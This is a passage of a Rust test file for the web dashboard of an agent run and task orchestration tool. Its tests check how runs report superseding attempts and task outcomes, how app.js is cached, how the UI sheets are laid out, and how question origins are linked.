25060 assert!(APP_JS.contains("task.urgent === true"));
25061 }
25062
25063 #[tokio::test]
25064 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
25065 let fx = Fixture::start().await;
25066 let runs = fx.runs();
25067 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25068 write_run(&runs, old, RunStatus::Blocked);
25069 write_run(&runs, new, RunStatus::Merged);
25070 let mut t = outcome_task(&[old, new], TaskStatus::Done);
25071 fx.queue().put(&mut t).expect("put");
25072
25073 let view = fx.get(&format!("/api/runs/{old}")).await.json();
25074 let task = &view["task"];
25075 assert_eq!(task["status"], "done");
25076 assert_eq!(task["is_latest"], false);
25077 assert_eq!(task["latest"]["short"], "bbbb");
25078 assert_eq!(task["finished_by"]["id"], new);
25079 assert_eq!(task["finished_by"]["outcome"], "merged");
25080 assert_eq!(task["closed_by_hand"], false);
25081 assert_eq!(view["status"], "blocked", "the run keeps its own status");
25082 assert!(APP_JS.contains("finished_by"));
25083 assert!(APP_JS.contains("superseded by run"));
25084 }
25085
25086 #[tokio::test]
25087 async fn the_latest_run_reports_a_held_task_without_a_successor() {
25088 let fx = Fixture::start().await;
25089 let runs = fx.runs();
25090 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25091 write_run(&runs, old, RunStatus::Stalled);
25092 write_run(&runs, new, RunStatus::Blocked);
25093 let mut t = outcome_task(&[old, new], TaskStatus::Held);
25094 fx.queue().put(&mut t).expect("put");
25095
25096 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
25097 assert_eq!(task["status"], "held");
25098 assert_eq!(task["is_latest"], true);
25099 assert!(task["latest"].is_null());
25100 assert!(task["finished_by"].is_null());
25101 assert_eq!(task["closed_by_hand"], false);
25102 }
25103
25104 #[tokio::test]
25105 async fn a_direct_run_has_no_task_outcome() {
25106 let fx = Fixture::start().await;
25107 let runs = fx.runs();
25108 let id = "20260901-000000-aaaa";
25109 write_run(&runs, id, RunStatus::Blocked);
25110 let view = fx.get(&format!("/api/runs/{id}")).await.json();
25111 assert!(view["task"].is_null());
25112 }
25113
25114 #[test]
25115 fn task_outcome_does_not_guess_a_finishing_run() {
25116 let a = "20260901-000000-aaaa";
25117 let b = "20260901-000000-bbbb";
25118 let c = "20260901-000000-cccc";
25119 let dir = tempfile::tempdir().expect("tempdir");
25120 write_run(dir.path(), a, RunStatus::Blocked);
25121 write_run(dir.path(), b, RunStatus::VerifiedNoop);
25122 let read = |id: &str| read_run(dir.path(), id).ok();
25124 let t = outcome_task(&[a, b, c], TaskStatus::Done);
25127 let out = task_outcome(&t, a, 3, read);
25128 assert!(out.finished_by.is_none());
25129 assert!(out.closed_by_hand);
25130 let latest = out.latest.expect("latest");
25131 assert_eq!(latest.id, c);
25132 assert_eq!(latest.status, None);
25133 assert_eq!(latest.outcome, "record unreadable");
25134
25135 write_run(dir.path(), c, RunStatus::Ready);
25137 let t = outcome_task(&[a, c], TaskStatus::Done);
25138 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
25139 assert_eq!(out.finished_by.expect("finisher").id, c);
25140 assert!(!out.closed_by_hand);
25141
25142 let t = outcome_task(&[a, b, a], TaskStatus::Held);
25144 assert!(task_outcome(&t, a, 3, read).is_latest);
25145 }
25146
25147 #[tokio::test]
25148 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
25149 let fx = Fixture::start().await;
25154 let q = fx.queue();
25155 let runs = fx.runs();
25156 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
25157 write_run(&runs, first, RunStatus::Blocked);
25158 write_run(&runs, second, RunStatus::Merged);
25159
25160 let mut t = Task::new(
25161 "one task".to_owned(),
25162 "do it".to_owned(),
25163 PathBuf::from("/repo"),
25164 Source::Human,
25165 );
25166 t.runs = vec![first.to_owned(), second.to_owned()];
25167 q.put(&mut t).expect("put");
25168
25169 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
25170 assert_eq!(earlier["superseded_by"], "dddd");
25171 assert_eq!(earlier["latest_attempt"]["id"], second);
25172 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
25173 assert_eq!(
25174 earlier["latest_attempt"]["resolved"], true,
25175 "the run that replaced it landed, so this one reads as settled"
25176 );
25177
25178 let later = fx.get(&format!("/api/runs/{second}")).await.json();
25179 assert!(
25180 later["superseded_by"].is_null(),
25181 "the latest attempt is not superseded by anything"
25182 );
25183 assert!(
25184 later["latest_attempt"].is_null(),
25185 "the latest attempt has no later attempt of its own"
25186 );
25187
25188 assert!(APP_JS.contains("run.latest_attempt"));
25195 assert!(APP_JS.contains("data-superseded"));
25196 assert!(APP_JS.contains("#/runs/${latest.id}"));
25197 }
25198
25199 #[tokio::test]
25200 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
25201 let fx = Fixture::start().await;
25207 let q = fx.queue();
25208 let runs = fx.runs();
25209 let (a, b, c) = (
25210 "20260901-000000-aaaa",
25211 "20260901-000000-bbbb",
25212 "20260901-000000-cccc",
25213 );
25214 write_run(&runs, a, RunStatus::Blocked);
25215 write_run(&runs, b, RunStatus::Blocked);
25216 write_run(&runs, c, RunStatus::Merged);
25217
25218 let mut t = Task::new(
25219 "retried twice".to_owned(),
25220 "do it".to_owned(),
25221 PathBuf::from("/repo"),
25222 Source::Human,
25223 );
25224 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
25225 q.put(&mut t).expect("put");
25226
25227 let view = fx.get(&format!("/api/runs/{a}")).await.json();
25228 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
25229 assert_eq!(
25230 view["latest_attempt"]["id"], c,
25231 "the chain's current head, not the intermediate Blocked retry"
25232 );
25233 assert_eq!(view["latest_attempt"]["resolved"], true);
25234
25235 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
25236 assert_eq!(mid["latest_attempt"]["id"], c);
25237 assert_eq!(mid["latest_attempt"]["resolved"], true);
25238 }
25239
25240 #[tokio::test]
25241 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
25242 let fx = Fixture::start().await;
25243 let q = fx.queue();
25244 let runs = fx.runs();
25245
25246 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
25249 write_run(&runs, still_blocked_a, RunStatus::Blocked);
25250 write_run(&runs, still_blocked_b, RunStatus::Blocked);
25251 let mut t1 = Task::new(
25252 "still stuck".to_owned(),
25253 "do it".to_owned(),
25254 PathBuf::from("/repo"),
25255 Source::Human,
25256 );
25257 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
25258 q.put(&mut t1).expect("put");
25259 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
25260 assert_eq!(view1["latest_attempt"]["resolved"], false);
25261 assert_eq!(view1["latest_attempt"]["status"], "blocked");
25262 assert_eq!(view1["latest_attempt"]["done"], true);
25263
25264 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
25266 write_run(&runs, run_a, RunStatus::Blocked);
25267 write_run(&runs, run_b, RunStatus::Implementing);
25268 let mut t3 = Task::new(
25269 "retrying".to_owned(),
25270 "do it".to_owned(),
25271 PathBuf::from("/repo"),
25272 Source::Human,
25273 );
25274 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
25275 q.put(&mut t3).expect("put");
25276 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
25277 assert_eq!(view3["latest_attempt"]["id"], run_b);
25278 assert_eq!(view3["latest_attempt"]["resolved"], false);
25279 assert_eq!(view3["latest_attempt"]["done"], false);
25280
25281 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
25286 write_run(&runs, noop_a, RunStatus::Blocked);
25287 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
25288 let mut t2 = Task::new(
25289 "claims done".to_owned(),
25290 "do it".to_owned(),
25291 PathBuf::from("/repo"),
25292 Source::Human,
25293 );
25294 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
25295 q.put(&mut t2).expect("put");
25296 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
25297 assert_eq!(
25298 view2["latest_attempt"]["resolved"], false,
25299 "an unverified no-op claim must not read as a confirmed finish"
25300 );
25301
25302 assert!(APP_JS.contains("latest.resolved"));
25305 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
25308 assert!(APP_JS.contains("Latest attempt: "));
25309 assert!(APP_JS.contains("in flight"));
25310 assert!(APP_JS.contains("not resolved"));
25311 }
25312
25313 #[tokio::test]
25314 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
25315 let fx = Fixture::start().await;
25316 let js = fx.get("/app.js").await;
25322 assert_eq!(js.status, 200);
25323 let tag = js
25324 .header("etag")
25325 .expect("an etag to revalidate against")
25326 .to_owned();
25327 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
25328 assert_eq!(
25329 js.header("cache-control"),
25330 Some("no-cache, must-revalidate"),
25331 "the phone has to ask every time"
25332 );
25333
25334 let again = fx
25337 .get_with("/app.js", &[("if-none-match", tag.as_str())])
25338 .await;
25339 assert_eq!(
25340 again.status, 304,
25341 "a deck it already has costs one round trip"
25342 );
25343 assert!(again.body.is_empty(), "304 carries no body");
25344
25345 let weak = fx
25348 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
25349 .await;
25350 assert_eq!(weak.status, 304);
25351 let stale = fx
25352 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
25353 .await;
25354 assert_eq!(stale.status, 200, "an older build must be replaced");
25355 assert!(stale.body.contains("renderRunActions"));
25356 }
25357
25358 #[test]
25359 fn the_task_detail_has_an_actions_fab_and_sheet() {
25360 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
25361 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
25362 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
25363 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
25365 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
25366 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
25368 assert!(APP_JS.contains("renderTaskActions(null);"));
25369 let (_, sheet) = APP_JS
25372 .split_once("function renderTaskActions(task) {")
25373 .expect("sheet renderer");
25374 let (body, _) = sheet
25375 .split_once("\nfunction openTaskActions() {")
25376 .expect("end of sheet renderer");
25377 assert!(body.contains("changePriority("));
25378 assert!(body.contains("openTaskEdit(task)"));
25379 assert!(body.contains("renderTaskHoldBox(host"));
25380 assert!(body.contains("renderTaskDoneBox(host"));
25381 assert!(body.contains("renderTaskDeleteBox(host"));
25382 assert!(APP_JS.contains("API.priority(id)"));
25383 assert!(APP_JS.contains("API.deleteTask(id)"));
25384 assert!(APP_JS.contains("location.hash = \"#/queue\""));
25386 assert!(APP_JS.contains("$(\"task-actions-error\")"));
25388 }
25389
25390 #[test]
25391 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
25392 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
25393 let actions = INDEX_HTML
25394 .find("id=\"run-actions-box\"")
25395 .expect("actions box");
25396 assert!(task < actions, "the task entry comes first in the sheet");
25397 assert!(APP_JS.contains("renderRunTaskEntry"));
25398 assert!(APP_JS.contains("\"Open task \""));
25399 assert!(APP_JS.contains("started directly, no task"));
25401 assert!(APP_JS.contains("sheet-task-link"));
25402 assert!(APP_JS.contains("task-chip-link"));
25403 }
25404
25405 #[test]
25406 fn the_deck_never_sends_the_operator_to_a_terminal() {
25407 assert!(
25410 !APP_JS.contains("Run `magi fold` first"),
25411 "the deck must offer the fold, not prescribe a shell command"
25412 );
25413 assert!(APP_JS.contains("foldRun:"));
25414 assert!(APP_JS.contains("resumeRun:"));
25415 assert!(APP_JS.contains("renderRunActions"));
25416
25417 assert!(APP_JS.contains("armedFold"));
25419 assert!(APP_JS.contains("Yes, fold worktrees"));
25420
25421 assert!(APP_JS.contains("can no longer be resumed"));
25424 }
25425
25426 #[test]
25427 fn a_finished_run_explains_itself_with_its_own_last_line() {
25428 assert!(
25434 !APP_JS.contains("collapsed on agent quota"),
25435 "a stall must not be explained by a cause the deck did not check"
25436 );
25437 assert!(
25438 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
25439 "and a block must not offer a guess with an `or` in it"
25440 );
25441
25442 assert!(
25446 APP_JS.contains("setText(r.event, run.event || \"\")"),
25447 "the run's last line is rendered unconditionally"
25448 );
25449 assert!(
25450 !APP_JS.contains("moving && run.event"),
25451 "and never gated on the run still moving"
25452 );
25453
25454 assert!(APP_JS.contains("lost to quota"));
25456 }
25457
25458 #[test]
25480 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
25481 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
25482 let shapes_body_start =
25483 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
25484 let shapes_close = APP_JS[shapes_body_start..]
25485 .find("].map(")
25486 .expect("the shape list is closed by its done-computing .map(...)")
25487 + shapes_body_start;
25488 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
25489
25490 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
25491 for entry in shapes_src.split('{').skip(1) {
25492 let waiting = entry.contains("waiting: true");
25493 let dead = entry.contains("live: \"dead\"");
25494 let status_at =
25495 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
25496 let status_end = entry[status_at..]
25497 .find('"')
25498 .expect("the status string is closed")
25499 + status_at;
25500 let parked = entry.contains("display_status: \"parked\"");
25501 shapes.push((
25502 waiting,
25503 entry[status_at..status_end].to_string(),
25504 dead,
25505 parked,
25506 ));
25507 }
25508 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
25509
25510 let done_rule_marker = "done: !";
25514 let done_rule_at = APP_JS[shapes_close..]
25515 .find(done_rule_marker)
25516 .expect("the done rule follows the shape list")
25517 + shapes_close
25518 + done_rule_marker.len();
25519 let includes_at = APP_JS[done_rule_at..]
25520 .find(".includes(shape.status)")
25521 .expect("the done rule ends in .includes(shape.status)")
25522 + done_rule_at;
25523 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
25524 .trim()
25525 .trim_start_matches('[')
25526 .trim_end_matches(']')
25527 .split(',')
25528 .map(|s| s.trim().trim_matches('"'))
25529 .filter(|s| !s.is_empty())
25530 .collect();
25531
25532 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
25533 .into_iter()
25534 .map(|(waiting, status, dead, parked)| {
25535 let done = !not_done.contains(&status.as_str());
25536 (waiting, status, dead, parked, done)
25537 })
25538 .collect();
25539
25540 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
25544 if waiting {
25545 return "waiting";
25546 }
25547 if dead
25548 && !parked
25549 && !matches!(
25550 status,
25551 "merged"
25552 | "ready"
25553 | "stalled"
25554 | "blocked"
25555 | "failed"
25556 | "verified_noop"
25557 | "superseded"
25558 | "already_in_base"
25559 )
25560 {
25561 return "stale";
25562 }
25563 match status {
25564 "merged" | "ready" => "landed",
25565 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
25566 | "already_in_base" => "ended",
25567 _ => "flight",
25568 }
25569 }
25570
25571 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
25574 match filter_key {
25575 "active" => !done,
25576 "flight" => !done && !waiting && !dead,
25577 "stale" => !done && !waiting && dead,
25578 "waiting" => waiting,
25579 "done" => done,
25580 "all" => true,
25581 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
25582 }
25583 }
25584
25585 let compatible = |section: &str, filter_key: &str| {
25586 shapes.iter().any(|(waiting, status, dead, parked, done)| {
25587 run_section(*waiting, status, *dead, *parked) == section
25588 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
25589 })
25590 };
25591
25592 let expected = [
25597 ("waiting", [true, false, false, true, true, true]),
25598 ("stale", [true, false, true, false, false, true]),
25599 ("flight", [true, true, false, false, false, true]),
25600 ("landed", [false, false, false, false, true, true]),
25601 ("ended", [false, false, false, false, true, true]),
25602 ];
25603 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
25604
25605 for (section, wants) in expected {
25606 for (filter_key, want) in filter_keys.iter().zip(wants) {
25607 assert_eq!(
25608 compatible(section, filter_key),
25609 want,
25610 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
25611 );
25612 }
25613 }
25614
25615 assert!(
25618 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
25619 );
25620 assert!(APP_JS.contains(
25621 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
25622 ));
25623 assert!(APP_JS.contains(
25624 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
25625 ));
25626 }
25627
25628 #[tokio::test]
25629 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
25630 let dir = tempfile::tempdir().expect("tempdir");
25634 let explicit = dir.path().join("not-a-checkout");
25635 std::fs::create_dir_all(&explicit).expect("create dir");
25636 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
25637
25638 let missing = dir.path().join("does-not-exist-at-all");
25639 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
25640 }
25641
25642 #[test]
25643 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
25644 assert!(APP_JS.contains("function statsDonutArcs"));
25645 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
25646 assert!(APP_JS.contains("function statusInBucket"));
25648 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
25649 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
25650 let buckets = [
25651 "merged",
25652 "ready",
25653 "in_progress",
25654 "blocked",
25655 "failed",
25656 "verified_noop",
25657 "superseded",
25658 "stalled",
25659 ];
25660 for key in buckets {
25661 let var = format!("--verdict-{key}:");
25662 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
25664 assert!(
25665 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
25666 "{key}"
25667 );
25668 }
25669 }
25670
25671 #[tokio::test]
25672 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
25673 let dir = tempfile::tempdir().expect("tempdir");
25674 let queue = Queue::at(dir.path().join("queue"));
25675 let talks = Talks::at(dir.path().join("talks"));
25676 std::fs::create_dir_all(queue.root()).unwrap();
25677 std::fs::create_dir_all(talks.root()).unwrap();
25678
25679 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
25681 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
25682
25683 let mut task = Task::new(
25685 "title".into(),
25686 "inst".into(),
25687 PathBuf::from("/repo"),
25688 Source::Human,
25689 );
25690 task.id = "20261019-123456-abcd".into();
25691 std::fs::write(
25693 queue.path_of(&task.id),
25694 serde_json::to_string(&task).unwrap(),
25695 )
25696 .unwrap();
25697
25698 let talk_id = "20261019-234567-cdef";
25699 seed_talk_at(&talks, talk_id, "open");
25700
25701 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
25703 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
25704
25705 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
25707 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
25708 }
25709
25710 #[tokio::test]
25711 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
25712 let home = tempfile::tempdir().unwrap();
25713 let ui = delta_test_ui(home.path());
25714 std::fs::write(ui.queue.root(), "not a directory").unwrap();
25716 std::fs::write(ui.talks.root(), "not a directory").unwrap();
25717 assert!(
25718 questions_list(State(ui.clone()))
25719 .await
25720 .unwrap()
25721 .0
25722 .is_empty()
25723 );
25724 assert!(
25725 question_origins(State(ui.clone()))
25726 .await
25727 .unwrap()
25728 .0
25729 .is_empty()
25730 );
25731 let mut question = Question::new(
25732 "run-history".into(),
25733 "review".into(),
25734 "seat".into(),
25735 "Useful question".into(),
25736 "Useful detail".into(),
25737 vec![],
25738 );
25739 ui.questions.put(&mut question).unwrap();
25740 let core = questions_core(State(ui.clone())).await.unwrap().0;
25741 assert_eq!(core.len(), 1);
25742 assert_eq!(core[0].question.summary, "Useful question");
25743 assert!(!core[0].can_consult_chat);
25744 assert!(core[0].origin_chat.is_none());
25745 assert_eq!(core[0].record_revision, question_record_revision(&question));
25746 assert!(question_origins(State(ui.clone())).await.is_err());
25747 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25748 }
25749
25750 #[tokio::test]
25751 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
25752 let home = tempfile::tempdir().unwrap();
25753 let ui = delta_test_ui(home.path());
25754 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
25755 let mut parent = Task::new(
25756 "parent".into(),
25757 "body".into(),
25758 PathBuf::from("/repo"),
25759 Source::Agent {
25760 run: chat.clone(),
25761 node: crate::queue::CHAT_NODE.into(),
25762 },
25763 );
25764 parent.id = "parent-task".into();
25765 parent.runs = vec!["parent-run".into()];
25766 ui.queue.put(&mut parent).unwrap();
25767 let mut previous = parent;
25768 for generation in 1..=2 {
25769 let mut child = Task::new(
25770 "child".into(),
25771 "body".into(),
25772 PathBuf::from("/repo"),
25773 Source::Human,
25774 );
25775 child.id = format!("child-task-{generation}");
25776 child.runs = vec![format!("child-run-{generation}")];
25777 child.followup = Some(crate::queue::FollowUp {
25778 origin_task: Some(previous.id.clone()),
25779 run: previous.runs[0].clone(),
25780 pr: String::new(),
25781 findings: vec![],
25782 generation,
25783 });
25784 ui.queue.put(&mut child).unwrap();
25785 previous = child;
25786 }
25787 let mut collision = Task::new(
25790 "collision".into(),
25791 String::new(),
25792 PathBuf::from("/repo"),
25793 Source::Human,
25794 );
25795 collision.id = "collision-task".into();
25796 collision.runs = vec![previous.id.clone()];
25797 ui.queue.put(&mut collision).unwrap();
25798 let mut questions = Vec::new();
25799 for (node, reference, expected, eligible) in [
25800 (crate::triage::NODE, previous.id.as_str(), true, false),
25801 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
25802 ("review", previous.runs[0].as_str(), true, true),
25803 (
25804 crate::bump::NOTICE_NODE,
25805 previous.runs[0].as_str(),
25806 true,
25807 false,
25808 ),
25809 ("review", previous.id.as_str(), false, false),
25811 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
25812 ("review", "unrelated", false, false),
25813 ] {
25814 let mut q = Question::new(
25815 reference.into(),
25816 node.into(),
25817 "seat".into(),
25818 "Question".into(),
25819 String::new(),
25820 vec![],
25821 );
25822 ui.questions.put(&mut q).unwrap();
25823 questions.push((q, expected, eligible));
25824 }
25825 for (node, reference, associated, eligible) in [
25826 (crate::reconcile::NODE, previous.id.as_str(), true, false),
25827 (
25828 crate::reconcile::NODE,
25829 previous.runs[0].as_str(),
25830 false,
25831 true,
25832 ),
25833 ("implement", previous.id.as_str(), false, false),
25834 ] {
25835 let mut q = Question::new(
25836 reference.into(),
25837 node.into(),
25838 crate::reconcile::SEAT.into(),
25839 "Reconcile".into(),
25840 String::new(),
25841 vec![],
25842 );
25843 ui.questions.put(&mut q).unwrap();
25844 questions.push((q, associated, eligible));
25845 }
25846 let mut release = Question::new(
25847 "release-record".into(),
25848 crate::bump::NOTICE_NODE.into(),
25849 "release-watch".into(),
25850 "Release".into(),
25851 String::new(),
25852 vec![],
25853 );
25854 ui.questions.put(&mut release).unwrap();
25855 let watch = crate::release_watch::WatchState {
25856 question: Some(release.id.clone()),
25857 run: Some(previous.runs[0].clone()),
25858 held_task: Some(previous.id.clone()),
25859 ..Default::default()
25860 };
25861 let watch_dir = home.path().join("release-watch");
25862 std::fs::create_dir_all(&watch_dir).unwrap();
25863 let watch_path = watch_dir.join("watch.json");
25864 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25865 for batch in [
25867 Vec::new(),
25868 questions.iter().map(|(q, _, _)| q.clone()).collect(),
25869 ] {
25870 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
25871 assert!(watches.is_empty());
25872 }
25873 questions.push((release.clone(), true, false));
25874
25875 let views = questions_list(State(ui.clone())).await.unwrap().0;
25876 let origins = question_origins(State(ui.clone())).await.unwrap().0;
25877 for (q, associated, eligible) in &questions {
25878 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
25879 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
25880 let expected = associated.then_some(chat.as_str());
25881 assert_eq!(
25882 view.origin_chat.as_deref(),
25883 expected,
25884 "{} {}",
25885 q.node,
25886 q.run
25887 );
25888 assert_eq!(origin.origin_chat.as_deref(), expected);
25889 assert_eq!(view.origin_chat_closed, *associated);
25890 assert_eq!(origin.origin_chat_closed, *associated);
25891 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
25892 assert_eq!(origin.can_consult_chat, *eligible);
25893 }
25894 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
25896 let link = crate::release_watch::WatchState {
25897 run,
25898 held_task,
25899 ..watch.clone()
25900 };
25901 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
25902 let (tasks, talks, watches) =
25903 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25904 assert_eq!(
25905 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25906 .unwrap()
25907 .id,
25908 chat,
25909 );
25910 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
25911 }
25912 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25913 let duplicate_path = watch_dir.join("duplicate.json");
25915 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25916 let (tasks, talks, watches) =
25917 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25918 assert!(
25919 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25920 .is_none()
25921 );
25922 std::fs::remove_file(duplicate_path).unwrap();
25923 let mut unrelated = Task::new(
25925 "other".into(),
25926 String::new(),
25927 PathBuf::from("/repo"),
25928 Source::Human,
25929 );
25930 unrelated.id = "unrelated-task".into();
25931 ui.queue.put(&mut unrelated).unwrap();
25932 let mut conflicting = watch.clone();
25933 conflicting.held_task = Some(unrelated.id);
25934 std::fs::write(
25935 watch_dir.join("conflict.json"),
25936 serde_json::to_vec(&conflicting).unwrap(),
25937 )
25938 .unwrap();
25939 let (tasks, talks, watches) =
25940 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25941 assert!(
25942 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25943 .is_none()
25944 );
25945 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
25946 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
25947 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
25948 assert!(origin.origin_chat.is_none());
25949 assert!(!origin.origin_chat_closed);
25950 }
25951 }
25952
25953 #[test]
25954 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
25955 let home = tempfile::tempdir().unwrap();
25956 let ui = delta_test_ui(home.path());
25957 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
25958 for i in 0..1000 {
25959 let mut task = Task::new(
25960 "unrelated".into(),
25961 "instruction ".repeat(256),
25962 PathBuf::from("/repo"),
25963 Source::Human,
25964 );
25965 task.id = format!("history-{i:04}");
25966 ui.queue.put(&mut task).unwrap();
25967 let id = seed_talk_at(&ui.talks, &task.id, "open");
25968 let mut talk = ui.talks.get(&id).unwrap();
25969 talk.pending = "history ".repeat(256);
25970 ui.talks.put(&mut talk).unwrap();
25971 }
25972 let mut parent = Task::new(
25973 "parent".into(),
25974 "body".into(),
25975 PathBuf::from("/repo"),
25976 Source::Agent {
25977 run: chat_id.clone(),
25978 node: crate::queue::CHAT_NODE.into(),
25979 },
25980 );
25981 parent.id = "task-parent".into();
25982 parent.runs = vec!["run-parent".into()];
25983 ui.queue.put(&mut parent).unwrap();
25984 let mut child = Task::new(
25985 "child".into(),
25986 "body".into(),
25987 PathBuf::from("/repo"),
25988 Source::Human,
25989 );
25990 child.id = "task-child".into();
25991 child.runs = vec!["run-child".into()];
25992 child.followup = Some(crate::queue::FollowUp {
25993 run: "run-parent".into(),
25994 origin_task: Some(parent.id.clone()),
25995 pr: "https://example.invalid/pr/1".into(),
25996 findings: vec![],
25997 generation: 1,
25998 });
25999 ui.queue.put(&mut child).unwrap();
26000 let mut question = Question::new(
26001 child.id.clone(),
26002 crate::conduct::NODE.into(),
26003 "seat".into(),
26004 "Continue?".into(),
26005 String::new(),
26006 vec![],
26007 );
26008 let (tasks, talks, _watches) =
26009 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26010 assert_eq!(tasks.len(), 2);
26011 assert_eq!(talks.len(), 1);
26012 assert_eq!(
26013 ui.monitor.queue_index.lock().unwrap().reparsed,
26014 0,
26015 "exact ancestry bypasses the index"
26016 );
26017 assert_eq!(
26018 crate::consult::origin_talk(&tasks, &talks, &question)
26019 .unwrap()
26020 .id,
26021 chat_id
26022 );
26023 question.run = "run-child".into();
26024 question.node = "review".into();
26025 for origin_task in [Some(parent.id.clone()), None] {
26026 child.followup.as_mut().unwrap().origin_task = origin_task;
26027 ui.queue.put(&mut child).unwrap();
26028 let (tasks, talks, _watches) =
26029 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26030 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
26031 let expected =
26032 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
26033 .unwrap();
